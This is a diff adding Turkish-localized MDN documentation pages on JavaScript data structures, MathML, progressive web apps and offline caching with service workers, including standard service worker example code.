<th>Description</th> + </tr> + <tr> + <td>Read-only</td> + <td>Boolean</td> + <td>Reversed state of the ES5 [[Writable]] attribute.</td> + </tr> + <tr> + <td>DontEnum</td> + <td>Boolean</td> + <td>Reversed state of the ES5 [[Enumerable]] attribute.</td> + </tr> + <tr> + <td>DontDelete</td> + <td>Boolean</td> + <td>Reversed state of the ES5 [[Configurable]] attribute.</td> + </tr> + </tbody> +</table> + +<h4 id="Accessor_property">Accessor property</h4> + +<p>Associates a key with one or two accessor functions (get and set) to retrieve or store a value and has the following attributes:</p> + +<table class="standard-table"> + <caption>Attributes of an accessor property</caption> + <tbody> + <tr> + <th>Attribute</th> + <th>Type</th> + <th>Description</th> + <th>Default value</th> + </tr> + <tr> + <td>[[Get]]</td> + <td>Function object or undefined</td> + <td>The function is called with an empty argument list and retrieves the property value whenever a get access to the value is performed. See also <a href="/en-US/docs/Web/JavaScript/Reference/Operators/get"><code>get</code></a>.</td> + <td>undefined</td> + </tr> + <tr> + <td>[[Set]]</td> + <td>Function object or undefined</td> + <td>The function is called with an argument that contains the assigned value and is executed whenever a specified property is attempted to be changed. See also <a href="/en-US/docs/Web/JavaScript/Reference/Operators/set"><code>set</code></a>.</td> + <td>undefined</td> + </tr> + <tr> + <td>[[Enumerable]]</td> + <td>Boolean</td> + <td>If <code>true</code>, the property will be enumerated in <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> loops.</td> + <td>false</td> + </tr> + <tr> + <td>[[Configurable]]</td> + <td>Boolean</td> + <td>If <code>false</code>, the property can't be deleted and can't be changed to a data property.</td> + <td>false</td> + </tr> + </tbody> +</table> + +<div class="note"> +<p><strong>Note: </strong>Attribute is usually used by JavaScript engine, so you can't directly access it (see more about <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty()</a>). That's why the attribute is put in double square brackets instead of single.</p> +</div> + +<h3 id="Normal_objects_and_functions">"Normal" objects, and functions</h3> + +<p>A JavaScript object is a mapping between keys and values. Keys are strings (or {{jsxref("Symbol")}}s) and values can be anything. This makes objects a natural fit for <a class="external" href="http://en.wikipedia.org/wiki/Hash_table">hashmaps</a>.</p> + +<p>Functions are regular objects with the additional capability of being callable.</p> + +<h3 id="Dates">Dates</h3> + +<p>When representing dates, the best choice is to use the built-in <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date"><code>Date</code> utility</a> in JavaScript.</p> + +<h3 id="Indexed_collections_Arrays_and_typed_Arrays">Indexed collections: Arrays and typed Arrays</h3> + +<p><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="Array">Arrays</a> are regular objects for which there is a particular relationship between integer-key-ed properties and the 'length' property. Additionally, arrays inherit from <code>Array.prototype</code> which provides to them a handful of convenient methods to manipulate arrays. For example, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf" title="en/JavaScript/Reference/Global_Objects/Array/indexOf">indexOf</a></code> (searching a value in the array) or <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/push" title="en/JavaScript/Reference/Global_Objects/Array/push">push</a></code> (adding an element to the array), etc. This makes Arrays a perfect candidate to represent lists or sets.</p> + +<p><a href="/en-US/docs/Web/JavaScript/Typed_arrays">Typed Arrays</a> are new to JavaScript with ECMAScript 2015 and present an array-like view of an underlying binary data buffer. The following table helps you to find the equivalent C data types:</p> + +<p>{{page("/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray", "TypedArray_objects", "", 0, 3)}}</p> + +<h3 id="Keyed_collections_Maps_Sets_WeakMaps_WeakSets">Keyed collections: Maps, Sets, WeakMaps, WeakSets</h3> + +<p>These data structures take object references as keys and are introduced in ECMAScript Edition 6. {{jsxref("Set")}} and {{jsxref("WeakSet")}} represent a set of objects, while {{jsxref("Map")}} and {{jsxref("WeakMap")}} associate a value to an object. The difference between Maps and WeakMaps is that in the former, object keys can be enumerated over. This allows garbage collection optimizations in the latter case.</p> + +<p>One could implement Maps and Sets in pure ECMAScript 5. However, since objects cannot be compared (in the sense of "less than" for instance), look-up performance would necessarily be linear. Native implementations of them (including WeakMaps) can have look-up performance that is approximately logarithmic to constant time.</p> + +<p>Usually, to bind data to a DOM node, one could set properties directly on the object or use <code>data-*</code> attributes. This has the downside that the data is available to any script running in the same context. Maps and WeakMaps make it easy to privately bind data to an object.</p> + +<h3 id="Structured_data_JSON">Structured data: JSON</h3> + +<p>JSON (JavaScript Object Notation) is a lightweight data-interchange format, derived from JavaScript but used by many programming languages. JSON builds universal data structures. See {{Glossary("JSON")}} and {{jsxref("JSON")}} for more details.</p> + +<h3 id="More_objects_in_the_standard_library">More objects in the standard library</h3> + +<p>JavaScript has a standard library of built-in objects. Please have a look at the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects">reference</a> to find out about more objects.</p> + +<h2 id="Determining_types_using_the_typeof_operator">Determining types using the <code>typeof</code> operator</h2> + +<p>The <code>typeof</code> operator can help you to find the type of your variable. Please read the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof">reference page</a> for more details and edge cases.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-8', 'Types')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-ecmascript-data-types-and-values', 'ECMAScript Data Types and Values')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Added Symbol.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-ecmascript-data-types-and-values', 'ECMAScript Data Types and Values')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a class="link-https" href="https://github.com/nzakas/computer-science-in-javascript/">Nicholas Zakas collection of common data structure and common algorithms in JavaScript.</a></li> + <li><a href="https://github.com/monmohan/DataStructures_In_Javascript" title="https://github.com/monmohan/DataStructures_In_Javascript">Search Tre(i)es implemented in JavaScript</a></li> +</ul> diff --git a/files/tr/web/mathml/index.html b/files/tr/web/mathml/index.html new file mode 100644 index 0000000000..c7e4422089 --- /dev/null +++ b/files/tr/web/mathml/index.html @@ -0,0 +1,71 @@ +--- +title: MathML +slug: Web/MathML +tags: + - MathML + - Referans + - Web + - XML +translation_of: Web/MathML +--- +<p class="summary"><strong>Matematiksel İşaretleme Dili (MathML)</strong>, matematiksel gösterimi tanımlamak ve hem yapısını ve hemde içeriğini yakalamak için <a href="/en-US/docs/XML">XML</a>'in bir lehçesidir.</p> + +<p><span id="result_box" lang="tr"><span>Bu güçlü teknolojiyle çalışmanıza yardımcı olacak belgelere, örneklere ve araçlara bağlantılar bulacaksınız.</span></span> <span id="result_box" lang="tr"><span>Hızlı bir genel bakış için, </span></span><span id="result_box" lang="tr"><span><a href="https://fred-wang.github.io/MozSummitMathML/index.html">Mozilla Zirvesi 2013'teki yenilik fuarlarına ait slaytlara</a> bakın.</span></span></p> + +<div class="row topicpage-table"> +<div class="section"> +<h2 id="MathML_Referans">MathML Referans</h2> + +<dl> + <dt><a href="/en-US/docs/Web/MathML/Element">MathML Element Referansı</a></dt> + <dd><span id="result_box" lang="tr"><span>Masaüstü ve mobil tarayıcılar için her bir MathML öğesi ve uyumluluk bilgileri hakkında detaylar.</span></span></dd> + <dt><a href="/en-US/docs/Web/MathML/Attribute">MathML Özellik Referansı</a></dt> + <dd><span id="result_box" lang="tr"><span>Elementlerin görünümünü veya davranışını değiştiren MathML özellikleri hakkında bilgi.</span></span></dd> + <dt><a href="/en-US/docs/Web/MathML/Examples">MathML Örnekler</a></dt> + <dd><span id="result_box" lang="tr"><span>MathML örnekleri ve nasıl çalıştığını anlamanıza yardımcı olacak örnekler.</span></span></dd> + <dt><a href="/en-US/docs/Web/MathML/Authoring">MathML Yazmak</a></dt> + <dd><span id="result_box" lang="tr"><span>Önerilen MathML editörlerini ve çıktılarını Web içeriğine nasıl entegre edebileceklerini de içeren MathML yazma önerileri ve ipuçları.</span></span></dd> +</dl> + +<p><a href="/en-US/docs/tag/MathML">Hepsini Göster...</a></p> +</div> + +<div class="section"> +<h2 id="Topluluktan_Yardım_Alma">Topluluktan Yardım Alma</h2> + +<ul> + <li>Mozilla forumlarını görüntüle...<br> + {{ DiscussionList("dev-tech-mathml", "mozilla.dev.tech.mathml") }}</li> + <li><a href="irc://irc.mozilla.org/%23mathml" rel="external" title="#mathml">Chat kanalı</a></li> + <li><a href="https://wiki.mozilla.org/MathML:Home_Page">Mozilla katılımcıları tarafından kullanılan Wiki</a></li> + <li><a href="https://www.w3.org/Math/" title="http://www.w3.org">W3C Math Anasayfası</a></li> + <li><a href="https://lists.w3.org/Archives/Public/www-math/" title="http://lists.w3.org">www-math w3.org e-mail arşivi</a></li> +</ul> + +<h2 id="Araçlar">Araçlar</h2> + +<ul> + <li><a href="https://validator.w3.org" title="http://validator.w3.org">W3C Validator</a></li> + <li><a href="https://addons.mozilla.org/en/firefox/addon/8969/">FireMath Firefox add-on</a></li> + <li><a href="https://addons.mozilla.org/firefox/collections/fred_wang/mathzilla/">Mathzilla Firefox add-on koleksiyonu</a></li> + <li><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> — Javascript LaTeX to MathML dönüştürücüsü (<a href="https://fred-wang.github.io/TeXZilla/" title="http://fred-wang.github.io">canlı demo</a>, <a href="https://r-gaia-cs.github.io/TeXZilla-webapp/" title="http://r-gaia-cs.github.io">Firefox OS webapp</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/texzilla/">Firefox add-on</a>, <a href="https://github.com/fred-wang/TeXZilla/wiki/Using-TeXZilla">Web Sayfası kullanma, JS program v.b.</a>)</li> + <li><a href="http://dlmf.nist.gov/LaTeXML/" title="http://dlmf.nist.gov">LaTeXML</a> - LaTeX dökümanını HTML+MathML Web sayfasına dönüştür</li> + <li><a href="http://webdemo.visionobjects.com/home.html#equation" title="http://webdemo.visionobjects.com">Web Denklemleri</a> - Elle yazılmış denklemleri MathML yada LaTeX dönüştür</li> + <li><a href="https://www.mathjax.org/" title="http://www.mathjax.org">MathJax</a> - Matematik için çapraz tarayıcı JavaScript ekran motoru. MathJax'ı MathML kullanmaya zorlamak için, <a href="https://addons.mozilla.org/en-US/firefox/addon/mathjax-native-mathml/">Mozilla add-on'nunu</a>, <a href="https://fred-wang.github.io/mathjax-native-mathml-safari/mathjax-native-mathml.safariextz" title="http://fred-wang.github.io">Safari uzantısını</a> yada <a href="https://openuserjs.org/scripts/fred.wang/MathJax_Native_MathML/">GreaseMonkey scriptini</a> deneyin.</li> +</ul> + +<h2 id="İlgili_Konular">İlgili Konular</h2> + +<ul> + <li><a href="/en-US/docs/Web/CSS">CSS</a></li> + <li><a href="/en-US/docs/Web/HTML">HTML</a></li> + <li><a href="/en-US/docs/Web/SVG">SVG</a></li> +</ul> +</div> +</div> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + + + +<p>{{Compat("mathml.elements.math", 0)}}</p> diff --git a/files/tr/web/progressive_web_apps/index.html b/files/tr/web/progressive_web_apps/index.html new file mode 100644 index 0000000000..fc64d2e761 --- /dev/null +++ b/files/tr/web/progressive_web_apps/index.html @@ -0,0 +1,80 @@ +--- +title: Progressive web apps (PWAs) +slug: Web/Progressive_web_apps +translation_of: Web/Progressive_web_apps +--- +<p class="summary"><font><font>Aşamalı web uygulamaları, platformlar arası web uygulamaları oluşturmak için geleneksel aşamalı geliştirme stratejisiyle birlikte modern web API'lerini kullanır. </font><font>Bu uygulamalar her yerde çalışır ve yerel uygulamalarla aynı kullanıcı deneyimi avantajlarını sağlayan çeşitli özellikler sunar. </font><font>Bu doküman seti size onlar hakkında bilmeniz gereken her şeyi anlatır.</font></font></p> + +<p class="summary"><img alt="ilerici web uygulamaları topluluğu PWA logosu" src="https://mdn.mozillademos.org/files/16742/pwa.png" style="display: block; height: 188px; margin: 0px auto; width: 350px;"></p> + +<h2 id="PWA_avantajları"><font><font>PWA avantajları</font></font></h2> + +<p><font><font>PWA'lar keşfedilebilir, kurulabilir, bağlanabilir, ağdan bağımsız, aşamalı, yeniden bağlanabilir, duyarlı ve güvenli olmalıdır. </font><font>Bunların ne anlama geldiği hakkında daha fazla bilgi edinmek için </font></font><a href="/en-US/docs/Web/Progressive_web_apps/Advantages"><font><font>Aşamalı web uygulaması avantajlarını</font></font></a><font><font> okuyun </font><font>.</font></font></p> + +<p><a href="https://developers.google.com/web/updates/2018/05/beyond-spa"><font><font>Google</font></font></a><font><font> , PWA'ların neden bu kadar etkili olduğunu anlamak için yararlı bir kısaltma kullanır: YANGIN - Hızlı, Entegre, Güvenilir ve İlgi Çekici. </font><font>Bu kısaltma, PWA'nın geliştiriciler arasında neden eğilimde olduğunun mükemmel bir açıklamasıdır.</font></font></p> + +<p><font><font>PWA'ların nasıl uygulanacağını öğrenmek için, aşağıdaki bölümde listelenen kılavuzlara bakın.</font></font></p> + +<h2 id="Çekirdek_PWA_kılavuzları"><font><font>Çekirdek PWA kılavuzları</font></font></h2> + +<p><font><font>Aşağıdaki kılavuzlar, basit bir örneği inceleyerek ve tüm parçaların nasıl çalıştığını göstererek bir PWA uygulamak için ne yapmanız gerektiğini gösterir.</font></font></p> + +<ol> + <li><a href="/en-US/docs/Web/Progressive_web_apps/Introduction"><font><font>Aşamalı web uygulamalarına giriş</font></font></a></li> + <li><a href="/en-US/docs/Web/Progressive_web_apps/App_structure"><font><font>Aşamalı web uygulaması yapısı</font></font></a></li> + <li><a href="/en-US/docs/Web/Progressive_web_apps/Offline_Service_workers"><font><font>PWA'ların Servis çalışanları ile çevrimdışı çalışmasını sağlama</font></font></a></li> + <li><a href="/en-US/docs/Web/Progressive_web_apps/Installable_PWAs"><font><font>PWA'ları yüklenebilir yapma</font></font></a></li> + <li><a href="/en-US/docs/Web/Progressive_web_apps/Re-engageable_Notifications_Push"><font><font>Bildirimler ve Anında İletme özelliğini kullanarak PWA'ları yeniden kullanılabilir hale getirme</font></font></a></li> + <li><a href="/en-US/docs/Web/Progressive_web_apps/Loading"><font><font>Aşamalı yükleme</font></font></a></li> + <li><a href="https://pwafire.org"><font><font>Pwafire.org adresindeki ekip tarafından PWA'lar oluşturmak için ihtiyacınız olan kaynakların, kod etiketlerinin ve araçların toplanması</font></font></a></li> + <li><a href="https://github.com/pwafire/pwadev-tips"><font><font>Aşamalı Web Uygulaması Geliştirme ortamınızı kurma</font></font></a></li> +</ol> + +<div class="column-container"> +<div class="column-half"> +<h2 id="Teknoloji_kılavuzları"><font><font>Teknoloji kılavuzları</font></font></h2> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage"><font><font>İstemci tarafı depolama</font></font></a><font><font> - Web depolama, IndexedDB ve servis çalışanlarının nasıl ve ne zaman kullanılacağını gösteren uzun bir kılavuz.</font></font></li> + <li><a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers"><font><font>Servis çalışanlarını kullanma</font></font></a><font><font> - Servis Çalışanı API'sını kapsayan daha ayrıntılı bir kılavuz.</font></font></li> + <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB"><font><font>IndexedDB Kullanımı - IndexedDB'nin</font></font></a><font><font> temelleri ayrıntılı olarak açıklanmıştır.</font></font></li> + <li><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API"><font><font>Web Depolama API'sını kullanma</font></font></a><font><font> - Web depolama API'sı basitleştirildi.</font></font></li> + <li><a class="external external-icon" href="https://developers.google.com/web/updates/2015/11/app-shell" rel="noopener"><font><font>Web Uygulamalarını Bir Uygulama Kabuğu Mimarisiyle Anında Yükleme - Hızlı</font></font></a><font><font> yüklenen uygulamalar oluşturmak için Uygulama Kabuğu kodlama desenini kullanma kılavuzu.</font></font></li> + <li><a href="/en-US/docs/Web/API/Push_API/Using_the_Push_API"><font><font>Push API'sini kullanma</font></font></a><font><font> - Web Push API'sinin arkasındaki temel bilgileri öğrenin.</font></font></li> + <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API"><font><font>Bildirimler API'sini kullanma</font></font></a><font><font> - Web bildirimleri kısaca.</font></font></li> + <li><a href="/en-US/docs/Web/Apps/Modern/Responsive/responsive_design_building_blocks">The building blocks of responsive design</a> — Learn the basics of responsive design, an essential topic for modern app layout.</li> + <li><a href="/en-US/docs/Web/Apps/Modern/Responsive/Mobile_first">Mobile first</a> — Often when creating responsive application layouts, it makes sense to create the mobile layout as the default, and build wider layouts on top.</li> + <li><a href="/en-US/docs/Web/Apps/Progressive/Add_to_home_screen">Add to home screen guide</a> — Learn how your apps can take advantage of Add to home screen (A2HS).</li> +</ul> +</div> + +<div class="column-half"> +<h2 id="Tools">Tools</h2> + +<ul> + <li><a class="external external-icon" href="https://localforage.github.io/localForage/" rel="noopener">localForage</a> — A nice simple JavaScript library for making client-side data storage really simple; it uses IndexedDB by default and falls back to Web SQL/Web Storage if necessary.</li> + <li><a class="external external-icon" href="https://github.com/fxos-components/serviceworkerware" rel="noopener">ServiceWorkerWare</a> — An <em>Express-like</em> microframework for easy Service Worker development.</li> + <li><a class="external external-icon" href="https://github.com/mozilla/oghliner" rel="noopener">oghliner</a> — Not only a template but a tool for deploying Offline Web Apps to GitHub Pages.</li> + <li><a class="external external-icon" href="https://github.com/GoogleChrome/sw-precache" rel="noopener">sw-precache</a> — A node module to generate service worker code that will precache specific resources.</li> + <li><a class="external external-icon" href="https://github.com/GoogleChrome/workbox" rel="noopener">workbox</a> — Spiritual successor to sw-precache with more advanced caching strategies and easy precaching.</li> + <li><a class="external external-icon" href="https://www.talater.com/upup/" rel="noopener">upup</a> — A tiny script that makes sure your site is always there for your users.</li> + <li><a class="external external-icon" href="https://serviceworke.rs/" rel="noopener">The service worker cookbook</a> — A series of excellent service worker/push recipes, showing how to implement an offline app, but also much more.</li> + <li><a href="https://marketplace.visualstudio.com/items?itemName=mayeedwin.vscode-pwa">PWA VS Code extension</a> - A collection of all essential code snippets you need to build Progressive Web Apps right there in your VS Code environment.</li> +</ul> +</div> +</div> + +<ul> + <li><a href="https://developers.google.com/web/progressive-web-apps">Progressive web apps</a> on Google Developers.</li> + <li><a href="https://medium.com/@slightlylate/progressive-apps-escaping-tabs-without-losing-our-soul-3b93a8561955#.6czgj0myh"><font><font>Progresif Web Uygulamaları: Ruhumuzu Kaybetmeden Sekmelerden Kaçış</font></font></a><font><font> Alex Russell.</font></font></li> + <li><a href="https://developers.google.com/web/progressive-web-apps/checklist"><font><font>Aşamalı Web Uygulamaları Kontrol Listesi</font></font></a><font><font> .</font></font></li> + <li><font><font>Google'dan </font><a href="https://developers.google.com/web/tools/lighthouse"><font>Deniz Feneri Aracı</font></a><font> .</font></font></li> + <li><a href="https://github.com/angular/mobile-toolkit"><font><font>Angular ile aşamalı web uygulamaları oluşturma araçları</font></font></a><font><font> .</font></font></li> + <li><a href="https://github.com/codebusking/react-pwa-guide-kit"><font><font>Tepki PWA Kılavuz Kiti</font></font></a><font><font> .</font></font></li> + <li><a href="https://pokedex.org/"><font><font>Çevrimdışı yetenekli Pokédex web sitesi</font></font></a><font><font> .</font></font></li> + <li><a href="https://hnpwa.com/"><font><font>Hacker News okuyucuları Aşamalı Web Uygulamaları olarak</font></font></a><font><font> .</font></font></li> + <li><a href="https://ymedialabs.com/progressive-web-apps"><font><font>Progresif Web Uygulamaları Neden Mobil Web'in Geleceği (2019 Araştırma)</font></font></a><font><font> .</font></font></li> + <li><a href="https://www.csschopper.com/blog/progressive-web-apps-everything-you-need-to-know/"><font><font>Progresif Web Uygulamaları: Bilmeniz Gereken Her Şey</font></font></a></li> +</ul> + +<div><font><font>{{QuickLinksWithSubpages ( "/ tr / docs / Web / Progressive_web_apps /")}}</font></font></div> diff --git a/files/tr/web/progressive_web_apps/offline_service_workers/index.html b/files/tr/web/progressive_web_apps/offline_service_workers/index.html new file mode 100644 index 0000000000..a6ea548179 --- /dev/null +++ b/files/tr/web/progressive_web_apps/offline_service_workers/index.html @@ -0,0 +1,201 @@ +--- +title: Making PWAs work offline with Service workers +slug: Web/Progressive_web_apps/Offline_Service_workers +translation_of: Web/Progressive_web_apps/Offline_Service_workers +--- +<div>{{PreviousMenuNext("Web/Apps/Progressive/App_structure", "Web/Apps/Progressive/Installable_PWAs", "Web/Apps/Progressive")}}</div> + +<p class="summary">Now that we’ve seen what the structure of js13kPWA looks like and have seen the basic shell up and running, let's look at how the offline capabilities using Service Worker are implemented. In this article, we look at how it is used in our <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA example</a> (<a href="https://github.com/mdn/pwa-examples/tree/master/js13kpwa">see the source code also</a>). We examine how to add offline functionality.</p> + +<h2 id="Service_workers_explained">Service workers explained</h2> + +<p>Service Workers are a virtual proxy between the browser and the network. They finally fix issues that front-end developers have struggled with for years — most notably how to properly cache the assets of a website and make them available when the user’s device is offline.</p> + +<p>They run on a separate thread from the main JavaScript code of our page, and don't have any access to the DOM structure. This introduces a different approach from traditional web programming — the API is non-blocking, and can send and receive communication between different contexts. You are able to give a Service Worker something to work on, and receive the result whenever it is ready using a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a>-based approach.</p> + +<p>They can do a lot more than "just" offering offline capabilities, including handling notifications, performing heavy calculations on a separate thread, etc. Service workers are quite powerful as they can take control over network requests, modify them, serve custom responses retrieved from the cache, or synthesize responses completely.</p> + +<h3 id="Security">Security</h3> + +<p>Because they are so powerful, Service Workers can only be executed in secure contexts (meaning HTTPS). If you want to experiment first before pushing your code to production, you can always test on a localhost or setup GitHub Pages — both support HTTPS.</p> + +<h2 id="Offline_First">Offline First</h2> + +<p>The "offline first" — or "cache first" — pattern is the most popular strategy for serving content to the user. If a resource is cached and available offline, return it first before trying to download it from the server. If it isn’t in the cache already, download it and cache it for future usage.</p> + +<h2 id="Progressive_in_PWA">"Progressive" in PWA</h2> + +<p>When implemented properly as a progressive enhancement, service workers can benefit users who have modern browsers that support the API by providing offline support, but won't break anything for those using legacy browsers.</p> + +<h2 id="Service_workers_in_the_js13kPWA_app">Service workers in the js13kPWA app</h2> + +<p>Enough theory — let's see some source code!</p> + +<h3 id="Registering_the_Service_Worker">Registering the Service Worker</h3> + +<p>We'll start by looking at the code that registers a new Service Worker, in the app.js file: </p> + +<p><strong>NOTE</strong> : We're using the <a href="http://es6-features.org/">es6</a> <strong>arrow functions</strong> syntax in the Service Worker Implementation</p> + +<pre class="brush: js">if('serviceWorker' in navigator) { + navigator.serviceWorker.register('./pwa-examples/js13kpwa/sw.js'); +};</pre> + +<p>If the service worker API is supported in the browser, it is registered against the site using the {{domxref("ServiceWorkerContainer.register()")}} method. Its contents reside in the sw.js file, and can be executed after the registration is successful. It's the only piece of Service Worker code that sits inside the app.js file; everything else that is Service Worker-specific is written in the sw.js file itself.</p> + +<h3 id="Lifecycle_of_a_Service_Worker">Lifecycle of a Service Worker</h3> + +<p>When registration is complete, the sw.js file is automatically downloaded, then installed, and finally activated.</p> + +<h4 id="Installation">Installation</h4> + +<p>The API allows us to add event listeners for key events we are interested in — the first one is the <code>install</code> event:</p> + +<pre class="brush: js">self.addEventListener('install', (e) => { + console.log('[Service Worker] Install'); +});</pre> + +<p>In the <code>install</code> listener, we can initialize the cache and add files to it for offline use. Our js13kPWA app does exactly that.</p> + +<p>First, a variable for storing the cache name is created, the app shell files are listed in one array.</p> + +<pre class="brush: js">var cacheName = 'js13kPWA-v1'; +var appShellFiles = [ + '/pwa-examples/js13kpwa/', + '/pwa-examples/js13kpwa/index.html', + '/pwa-examples/js13kpwa/app.js', + '/pwa-examples/js13kpwa/style.css', + '/pwa-examples/js13kpwa/fonts/graduate.eot', + '/pwa-examples/js13kpwa/fonts/graduate.ttf', + '/pwa-examples/js13kpwa/fonts/graduate.woff', + '/pwa-examples/js13kpwa/favicon.ico', + '/pwa-examples/js13kpwa/img/js13kgames.png', + '/pwa-examples/js13kpwa/img/bg.png', + '/pwa-examples/js13kpwa/icons/icon-32.png', + '/pwa-examples/js13kpwa/icons/icon-64.png', + '/pwa-examples/js13kpwa/icons/icon-96.png', + '/pwa-examples/js13kpwa/icons/icon-128.png', + '/pwa-examples/js13kpwa/icons/icon-168.png', + '/pwa-examples/js13kpwa/icons/icon-192.png', + '/pwa-examples/js13kpwa/icons/icon-256.png', + '/pwa-examples/js13kpwa/icons/icon-512.png' +];</pre> + +<p>Next, the links to images to be loaded along with the content from the data/games.js file are generated in the second array. After that, both arrays are merged using the {{jsxref("Array.prototype.concat()")}} function.</p> + +<pre class="brush: js">var gamesImages = []; +for(var i=0; i<games.length; i++) { + gamesImages.push('data/img/'+games[i].slug+'.jpg'); +} +var contentToCache = appShellFiles.concat(gamesImages);</pre> + +<p>Then we can manage the <code>install</code> event itself:</p> + +<pre class="brush: js">self.addEventListener('install', (e) => { + console.log('[Service Worker] Install'); + e.waitUntil( + caches.open(cacheName).then((cache) => { + console.log('[Service Worker] Caching all: app shell and content'); + return cache.addAll(contentToCache); + }) + ); +});</pre> + +<p>There are two things that need an explanation here: what {{domxref("ExtendableEvent.waitUntil")}} does, and what the {{domxref("Caches","caches")}} object is.</p> + +<p>The service worker does not install until the code inside <code>waitUntil</code> is executed. It returns a promise — this approach is needed because installing may take some time, so we have to wait for it to finish.</p> + +<p><code>caches</code> is a special {{domxref("CacheStorage")}} object available in the scope of the given Service Worker to enable saving data — saving to <a href="/en-US/docs/Web/API/Web_Storage_API">web storage</a> won't work, because web storage is synchronous. With Service Workers, we use the Cache API instead.</p> + +<p>Here, we open a cache with a given name, then add all the files our app uses to the cache, so they are available next time it loads (identified by request URL).</p> + +<h4 id="Activation">Activation</h4> + +<p>There is also an <code>activate</code> event, which is used in the same way as <code>install</code>. This event is usually used to delete any files that are no longer necessary and clean up after the app in general. We don't need to do that in our app, so we'll skip it.</p> + +<h3 id="Responding_to_fetches">Responding to fetches</h3> + +<p>We also have a <code>fetch</code> event at our disposal, which fires every time an HTTP request is fired off from our app. This is very useful, as it allows us to intercept requests and respond to them with custom responses. Here is a simple usage example:</p> + +<pre class="brush: js">self.addEventListener('fetch', (e) => { + console.log('[Service Worker] Fetched resource '+e.request.url); +});</pre> + +<p>The response can be anything we want: the requested file, its cached copy, or a piece of JavaScript code that will do something specific — the possibilities are endless.</p> + +<p>In our example app, we serve content from the cache instead of the network as long as the resource is actually in the cache. We do this whether the app is online or offline. If the file is not in the cache, the app adds it there first before then serving it:</p> + +<pre class="brush: js">self.addEventListener('fetch', (e) => { + e.respondWith( + caches.match(e.request).then((r) => { + console.log('[Service Worker] Fetching resource: '+e.request.url); + return r || fetch(e.request).then((response) => { + return caches.open(cacheName).then((cache) => { + console.log('[Service Worker] Caching new resource: '+e.request.url); + cache.put(e.request, response.clone()); + return response; + }); + }); + }) + ); +});</pre> + +<p>Here, we respond to the fetch event with a function that tries to find the resource in the cache and return the response if it's there. If not, we use another fetch request to fetch it from the network, then store the response in the cache so it will be available there next time it is requested.</p> + +<p>The {{domxref("FetchEvent.respondWith")}} method takes over control — this is the part that functions as a proxy server between the app and the network. This allows us to respond to every single request with any response we want: prepared by the Service Worker, taken from cache, modified if needed.</p> + +<p>That's it! Our app is caching its resources on install and serving them with fetch from the cache, so it works even if the user is offline. It also caches new content whenever it is added.</p> + +<h2 id="Updates">Updates</h2> + +<p>There is still one point to cover: how do you upgrade a Service Worker when a new version of the app containing new assets is available? The version number in the cache name is key to this:</p> + +<pre class="brush: js">var cacheName = 'js13kPWA-v1';</pre> + +<p>When this updates to v2, we can then add all of our files (including our new files) to a new cache:</p> + +<pre class="brush: js">contentToCache.push('/pwa-examples/js13kpwa/icons/icon-32.png'); + +// ... + +self.addEventListener('install', (e) => { + e.waitUntil( + caches.open('js13kPWA-v2').then((cache) => { + return cache.addAll(contentToCache); + }) + ); +});</pre> + +<p>A new service worker is installed in the background, and the previous one (v1) works correctly up until there are no pages using it — the new Service Worker is then activated and takes over management of the page from the old one.</p> + +<h2 id="Clearing_the_cache">Clearing the cache</h2> + +<p>Remember the <code>activate</code> event we skipped? It can be used to clear out the old cache we don't need anymore:</p> + +<pre class="brush: js">self.addEventListener('activate', (e) => { + e.waitUntil( + caches.keys().then((keyList) => { + return Promise.all(keyList.map((key) => { + if(key !== cacheName) { + return caches.delete(key); + } + })); + }) + ); +});</pre> + +<p>This ensures we have only the files we need in the cache, so we don't leave any garbage behind; the <a href="/en-US/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria">available cache space in the browser is limited</a>, so it is a good idea to clean up after ourselves.</p> + +<h2 id="Other_use_cases">Other use cases</h2> + +<p>Serving files from cache is not the only feature Service Worker offers. If you have heavy calculations to do, you can offload them from the main thread and do them in the worker, and receive results as soon as they are available. Performance-wise, you can prefetch resources that are not needed right now, but might be in the near future, so the app will be faster when you actually need those resources.</p> + +<h2 id="Summary">Summary</h2> + +<p>In this article we took a simple look at how you can make your PWA work offline with service workers. Be sure to check out our further documentation if you want to learn more about the concepts behind the <a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a> and how to use it in more detail.</p> + +<p>Service Workers are also used when dealing with <a href="/en-US/docs/Web/API/Push_API">push notifications</a> — this will be explained in a subsequent article.</p> + +<p>{{PreviousMenuNext("Web/Apps/Progressive/App_structure", "Web/Apps/Progressive/Installable_PWAs", "Web/Apps/Progressive")}}</p> + 